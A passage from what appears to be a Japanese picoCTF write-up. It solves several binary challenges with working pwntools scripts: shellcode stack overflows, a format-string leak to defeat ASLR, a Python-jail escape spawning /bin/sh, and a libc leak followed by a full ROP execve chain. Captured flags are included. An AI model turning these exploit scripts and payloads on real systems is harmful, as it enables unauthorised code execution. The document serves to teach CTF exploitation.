0040| 0x7fffffffe250 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%"...)
0048| 0x7fffffffe258 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA"...)
0056| 0x7fffffffe260 ("AuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%W"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040074e in main ()
gdb-peda$ patto jAA9AAOAAkAAPA
jAA9AAOAAkAAPA found at offset: 120

offset が120だと分かったので、後は Shellcode を呼び出すように調整する。 以下のスクリプトを実行すると、シェルを取ることができた。

#!/usr/bin/env python3
from pwn import *

ARCH = 'amd64'
FILE = './gauntlet'
LIBC = ''
HOST = 'mercury.picoctf.net'
PORT = 19968

GDB_SCRIPT = '''
    break main
    continue
'''

def exploit(io, elf, libc, rop):
    rdata = io.readuntil(b'\n').strip()
    buf_addr = int(rdata, 16)
    log.info(f'buffer address: {hex(buf_addr)}')

    io.sendline(b'A')

    offset = 120
    shellcode = asm(shellcraft.sh())

    payload = shellcode
    payload += b'A' * (offset - len(shellcode))
    payload += pack(buf_addr)
    log.info(f'payload: {payload}')

    io.sendlineafter(b'A\n', payload)

def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO')

    elf = ELF(FILE) if os.path.exists(FILE) else None
    rop = ROP(elf) if elf is not None else None

    if args['REMOTE']:
        io = remote(HOST, PORT)
        libc = ELF(LIBC) if os.path.exists(LIBC) else None
    else:
        if FILE == '':
            return
        io = process([FILE])
        libc = elf.libc
        if args['GDB']:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == '__main__':
    main()
$ python3 exploit.py REMOTE
[*] '/root/workdir/gauntlet'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*] Loaded 14 cached gadgets for './gauntlet'
[+] Opening connection to mercury.picoctf.net on port 19968: Done
[*] buffer address: 0x7fffffffeb40
[*] payload: b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\xeb\xff\xff\xff\x7f\x00\x00'
[*] Switching to interactive mode
$ id
uid=1651(binary-gauntlet-1_4) gid=1652(binary-gauntlet-1_4) groups=1652(binary-gauntlet-1_4)
$ ls
flag.txt
gauntlet
gauntlet_no_aslr
xinet_startup.sh
$ cat flag.txt
7504344981b9288c5669150ada84894e
$

7504344981b9288c5669150ada84894e

What's your input? - 50 points

We'd like to get your input on a couple things. Think you can answer my questions correctly? in.py nc mercury.picoctf.net 61858.

pyjail 系の問題のように見えるので、__builtins__.__dict__['eval']('__import__(\"os\").system(\"/bin/sh\")') と入力してみたところ、シェルを取ることができた。

$ nc mercury.picoctf.net 61858
What's your favorite number?
Number? __builtins__.__dict__['eval']('__import__(\"os\").system(\"/bin/sh\")')
id
uid=1272(what-s-your-input-_4) gid=1273(what-s-your-input-_4) groups=1273(what-s-your-input-_4)
ls
city_names.txt  
flag
in.py
xinet_startup.sh
cat flag
picoCTF{v4lua4bl3_1npu7_7607377}

picoCTF{v4lua4bl3_1npu7_7607377}

Binary Gauntlet 2 - 50 points

How does ASLR affect your exploit? gauntlet nc mercury.picoctf.net 49704

Ghidra で確認すると、10行目に Format String Bug、15行目で Buffer Overflow ができそうだと分かる。

f:id:tsalvia:20210406051729p:plain

ASLR が有効なので、Format String Bug でスタックをリークさせ、そのアドレスを基に Shellcode を呼び出せばよい。

まず 0x4006da に Breakpoint を置いて、printf 後のスタックを確認する。

Breakpoint 1, 0x00000000004006da in main ()
gdb-peda$ stack 20
0000| 0x7fffffffe1d0 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet")
0008| 0x7fffffffe1d8 --> 0x100000000 
0016| 0x7fffffffe1e0 --> 0x0 
0024| 0x7fffffffe1e8 --> 0x7fffffffe348 --> 0x7fffffffe598 ("TERM_PROGRAM=vscode")
0032| 0x7fffffffe1f0 --> 0x1 
0040| 0x7fffffffe1f8 --> 0x7fffffffe270 --> 0x100000001 
0048| 0x7fffffffe200 --> 0x7ffff7ffe1c8 --> 0x0 
0056| 0x7fffffffe208 --> 0x0 
0064| 0x7fffffffe210 --> 0x1 
0072| 0x7fffffffe218 --> 0x40077d (<__libc_csu_init+77>:        add    rbx,0x1)
0080| 0x7fffffffe220 --> 0x7fffffffe250 --> 0x0 
0088| 0x7fffffffe228 --> 0x0 
0096| 0x7fffffffe230 --> 0x400730 (<__libc_csu_init>:   push   r15)
0104| 0x7fffffffe238 --> 0x4005a0 (<_start>:    xor    ebp,ebp)
0112| 0x7fffffffe240 --> 0x7fffffffe330 --> 0x1 
0120| 0x7fffffffe248 --> 0x602010 --> 0xa70243625 ('%6$p\n')
0128| 0x7fffffffe250 --> 0x0 
0136| 0x7fffffffe258 --> 0x7ffff7a32f45 (<__libc_start_main+245>:       mov    edi,eax)
0144| 0x7fffffffe260 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet")
0152| 0x7fffffffe268 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet")

次に 0x400721 に Breakpoint を置いて、strcpy 後のスタックを確認する。

Breakpoint 2, 0x0000000000400721 in main ()
gdb-peda$ stack 20
0000| 0x7fffffffe1d0 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet")
0008| 0x7fffffffe1d8 --> 0x100000000 
0016| 0x7fffffffe1e0 ('A' <repeats 98 times>, "\n")
0024| 0x7fffffffe1e8 ('A' <repeats 90 times>, "\n")
0032| 0x7fffffffe1f0 ('A' <repeats 82 times>, "\n")
0040| 0x7fffffffe1f8 ('A' <repeats 74 times>, "\n")
0048| 0x7fffffffe200 ('A' <repeats 66 times>, "\n")
0056| 0x7fffffffe208 ('A' <repeats 58 times>, "\n")
0064| 0x7fffffffe210 ('A' <repeats 50 times>, "\n")
0072| 0x7fffffffe218 ('A' <repeats 42 times>, "\n")
0080| 0x7fffffffe220 ('A' <repeats 34 times>, "\n")
0088| 0x7fffffffe228 ('A' <repeats 26 times>, "\n")
0096| 0x7fffffffe230 ('A' <repeats 18 times>, "\n")
0104| 0x7fffffffe238 ("AAAAAAAAAA\n")
0112| 0x7fffffffe240 --> 0x7fff000a4141 
0120| 0x7fffffffe248 --> 0x602010 ('A' <repeats 98 times>, "\n")
0128| 0x7fffffffe250 --> 0x0 
0136| 0x7fffffffe258 --> 0x7ffff7a32f45 (<__libc_start_main+245>:       mov    edi,eax)
0144| 0x7fffffffe260 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet")
0152| 0x7fffffffe268 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet")

A が格納されている箇所が、0x7fffffffe1e0 なので、このアドレスをリターンアドレスに書き込めばよい。 0x7fffffffe338 を Format String Bug でリークさせて 0x158 を引けば、0x7fffffffe1e0 になる。

%p をいくつか入力して、何番目の場所をリークさせればよいのかを確認する。 6 行目の箇所がちょうど GDB で確認したときの 0x7fffffffe338 の位置に該当するので、ここをリークさせればよい。

$ python3 -c "print('%p.' * 20)" | ./gauntlet | tr "." "\n" | nl
     1  0x7ffff7ff603d
     2  0x7ffff7dd59f0
     3  0x70252e70252e7025
     4  0x7ffff7ff603d
     5  0x70252e70252e7025
     6  0x7fffffffe348
     7  0x100000000
     8  (nil)
     9  0x7fffffffe358
    10  0x1
    11  0x7fffffffe280
    12  0x7ffff7ffe1c8
    13  (nil)
    14  0x1
    15  0x40077d
    16  0x7fffffffe260
    17  (nil)
    18  0x400730
    19  0x4005a0
    20  0x7fffffffe340

上記の情報を基に、スクリプトを書いて実行すると、シェルを取ることができた。

#!/usr/bin/env python3
from pwn import *

ARCH = 'amd64'
FILE = './gauntlet'
LIBC = ''
HOST = 'mercury.picoctf.net'
PORT = 49704

GDB_SCRIPT = '''
    break *0x004006da
    break *0x00400721
    continue
'''

def exploit(io, elf, libc, rop):
    payload = b'%6$p'
    io.sendline(payload)

    rdata = io.readuntil(b'\n').strip()
    buf_addr = int(rdata, 16) - 0x158
    log.info(f'buffer address: {hex(buf_addr)}')

    offset = 120
    shellcode = asm(shellcraft.sh())

    payload = b''
    payload += shellcode
    payload += b'A' * (offset - len(shellcode))
    payload += pack(buf_addr)
    log.info(f'payload: {payload}')

    io.sendline(payload)

def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO')

    elf = ELF(FILE) if os.path.exists(FILE) else None
    rop = ROP(elf) if elf is not None else None

    if args['REMOTE']:
        io = remote(HOST, PORT)
        libc = ELF(LIBC) if os.path.exists(LIBC) else None
    else:
        if FILE == '':
            return
        io = process([FILE])
        libc = elf.libc
        if args['GDB']:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == '__main__':
    main()
$ python3 exploit.py REMOTE
[*] '/root/workdir/gauntlet'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*] Loaded 14 cached gadgets for './gauntlet'
[+] Opening connection to mercury.picoctf.net on port 49704: Done
[*] buffer address: 0x7ffeb28c5080
[*] payload: b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80P\x8c\xb2\xfe\x7f\x00\x00'
[*] Switching to interactive mode
$ id
uid=1307(binary-gauntlet-2_4) gid=1308(binary-gauntlet-2_4) groups=1308(binary-gauntlet-2_4)
$ ls
flag.txt
gauntlet
xinet_startup.sh
$ cat flag.txt
230fc5c335f1fe302abdc387d498fe40

230fc5c335f1fe302abdc387d498fe40

Here's a LIBC - 90 points

I am once again asking for you to pwn this binary vuln libc.so.6 Makefile nc mercury.picoctf.net 49464

Ghidra でデコンパイルすると、以下のようになった。

f:id:tsalvia:20210406064657p:plain

Buffer Overflow の脆弱性があるので、pattc と patto でリターンアドレスまでのオフセットを探す。

$ gdb ./vuln -q
Reading symbols from ./vuln...(no debugging symbols found)...done.
gdb-peda$ pattc 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ run
Starting program: /root/workdir/vuln 
WeLcOmE To mY EcHo sErVeR!
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
[----------------------------------registers-----------------------------------]
RAX: 0x7a ('z')
RBX: 0x0 
RCX: 0x7ffff7b003c0 (<__write_nocancel+7>:      cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd59e0 --> 0x0 
RSI: 0x7ffff7dd4483 --> 0xdd59e0000000000a 
RDI: 0x1 
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffe188 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x400770 (<do_stuff+152>:  ret)
R8 : 0x7ffff7dd59e0 --> 0x0 
R9 : 0x0 
R10: 0x0 
R11: 0x246 
R12: 0x1b 
R13: 0x0 
R14: 0x1b 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400769 <do_stuff+145>:     call   0x400540 <puts@plt>
   0x40076e <do_stuff+150>:     nop
   0x40076f <do_stuff+151>:     leave  
=> 0x400770 <do_stuff+152>:     ret    
   0x400771 <main>:     push   rbp
   0x400772 <main+1>:   mov    rbp,rsp
   0x400775 <main+4>:   push   r15
   0x400777 <main+6>:   push   r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe188 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0x7fffffffe190 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0x7fffffffe198 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0x7fffffffe1a0 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0032| 0x7fffffffe1a8 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0040| 0x7fffffffe1b0 ("AuAAXAAvAAYAAwAAZAAxAAyA")
0048| 0x7fffffffe1b8 ("AAYAAwAAZAAxAAyA")
0056| 0x7fffffffe1c0 ("ZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400770 in do_stuff ()
gdb-peda$ patto AAQAAmAARAAoAASAApA
AAQAAmAARAAoAASAApA found at offset: 136

上記より、136 がリターンアドレスまでのオフセットだと分かった。

次に、Buffer Overflow の脆弱性を利用して puts を呼び出し、puts の GOT のアドレスを出力させる。出力させたアドレスを基に libc のベースアドレスを求める。

また、puts を呼び出した後に再度 main を呼び出して、もう一度 Buffer Overflow を起こせる状態にしておく。

#!/usr/bin/env python3
from pwn import *

ARCH = 'amd64'
FILE = './vuln'
LIBC = './lib/libc.so.6'
HOST = 'mercury.picoctf.net'
PORT = 49464

GDB_SCRIPT = '''
    break *0x00400769
    continue
'''


def exploit(io, elf, libc, rop):
    puts_got = elf.got['puts']
    log.info(f'puts_got: {hex(puts_got)}')

    rop.call('puts', [puts_got])
    rop.call('main')
    log.info(rop.dump())

    offset = 136
    payload = b'A' * offset
    payload += rop.chain()
    log.info(hexdump(payload))

    io.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!', payload)
    io.readuntil('\n') # skip
    io.readuntil('\n') # skip

    rdata = io.readuntil('\n').strip()
    puts_addr = int.from_bytes(rdata, 'little')
    log.info(f'puts_addr: {hex(puts_addr)}')

    puts_offset = libc.symbols['puts']
    libc_base = puts_addr - puts_offset
    log.info(f'libc_base: {hex(libc_base)}')


def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO')

    elf = ELF(FILE) if os.path.exists(FILE) else None
    rop = ROP(elf) if elf is not None else None

    if args['REMOTE']:
        io = remote(HOST, PORT)
        libc = ELF(LIBC) if os.path.exists(LIBC) else None
    else:
        if FILE == '':
            return
        io = process([FILE])
        libc = elf.libc
        if args['GDB']:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == '__main__':
    main()
$ python3 exploit.py
[*] '/root/workdir/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./'
[*] Loaded 14 cached gadgets for './vuln'
[+] Starting local process './vuln': pid 827
[*] '/lib/x86_64-linux-gnu/libc-2.19.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] puts_got: 0x601018
[*] 0x0000:         0x400913 pop rdi; ret
    0x0008:         0x601018 [arg0] rdi = got.puts
    0x0010:         0x400540 puts
    0x0018:         0x400771 main()
[*] 00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  13 09 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000090  18 10 60 00  00 00 00 00  40 05 40 00  00 00 00 00  │··`·│····│@·@·│····│
    000000a0  71 07 40 00  00 00 00 00                            │q·@·│····│
    000000a8
[*] puts_addr: 0x7ffff7a80d60
[*] libc_base: 0x7ffff7a11000
[*] Switching to interactive mode
WeLcOmE To mY EcHo sErVeR!

libc のベースアドレスを求めることができたので、最後に ROPgadget で ROP chain を作成して、シェルを取得する。

$ ROPgadget --binary lib/libc.so.6 --ropchain --badbytes "0a" | sed -e "s/'<Q', /libc_base + /g" | sed -e "s/= '/= b'/g"

        # snip

        p = b''

        p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret
        p += pack(libc_base + 0x00000000003eb1a0) # @ .data
        p += pack(libc_base + 0x0000000000043a78) # pop rax ; ret
        p += b'/bin//sh'
        p += pack(libc_base + 0x00000000000309cc) # mov qword ptr [rdx], rax ; ret
        p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret
        p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8
        p += pack(libc_base + 0x00000000000b1835) # xor rax, rax ; ret
        p += pack(libc_base + 0x00000000000309cc) # mov qword ptr [rdx], rax ; ret
        p += pack(libc_base + 0x000000000002155f) # pop rdi ; ret
        p += pack(libc_base + 0x00000000003eb1a0) # @ .data
        p += pack(libc_base + 0x0000000000023e8a) # pop rsi ; ret
        p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8
        p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret
        p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8
        p += pack(libc_base + 0x00000000000b1835) # xor rax, rax ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000013c0) # syscall

先ほどのスクリプトに追記して実行すると、シェルを取ることができた。

#!/usr/bin/env python3
from pwn import *

ARCH = 'amd64'
FILE = './vuln'
LIBC = './lib/libc.so.6'
HOST = 'mercury.picoctf.net'
PORT = 49464

GDB_SCRIPT = '''
    break *0x00400769
    continue
'''

def exploit(io, elf, libc, rop):
    puts_got = elf.got['puts']
    log.info(f'puts_got: {hex(puts_got)}')

    rop.call('puts', [puts_got])
    rop.call('main')
    log.info(rop.dump())

    offset = 136
    payload = b'A' * offset
    payload += rop.chain()
    log.info(hexdump(payload))

    io.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!', payload)
    io.readuntil('\n') # skip
    io.readuntil('\n') # skip

    rdata = io.readuntil('\n').strip()
    puts_addr = int.from_bytes(rdata, 'little')
    log.info(f'puts_addr: {hex(puts_addr)}')

    puts_offset = libc.symbols['puts']
    libc_base = puts_addr - puts_offset
    log.info(f'libc_base: {hex(libc_base)}')

    offset = 136
    p = b'A' * offset

    p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret
    p += pack(libc_base + 0x00000000003eb1a0) # @ .data
    p += pack(libc_base + 0x0000000000043a78) # pop rax ; ret
    p += b'/bin//sh'
    p += pack(libc_base + 0x00000000000309cc) # mov qword ptr [rdx], rax ; ret
    p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret
    p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8
    p += pack(libc_base + 0x00000000000b1835) # xor rax, rax ; ret
    p += pack(libc_base + 0x00000000000309cc) # mov qword ptr [rdx], rax ; ret
    p += pack(libc_base + 0x000000000002155f) # pop rdi ; ret
    p += pack(libc_base + 0x00000000003eb1a0) # @ .data
    p += pack(libc_base + 0x0000000000023e8a) # pop rsi ; ret
    p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8
    p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret
    p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8
    p += pack(libc_base + 0x00000000000b1835) # xor rax, rax ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000013c0) # syscall

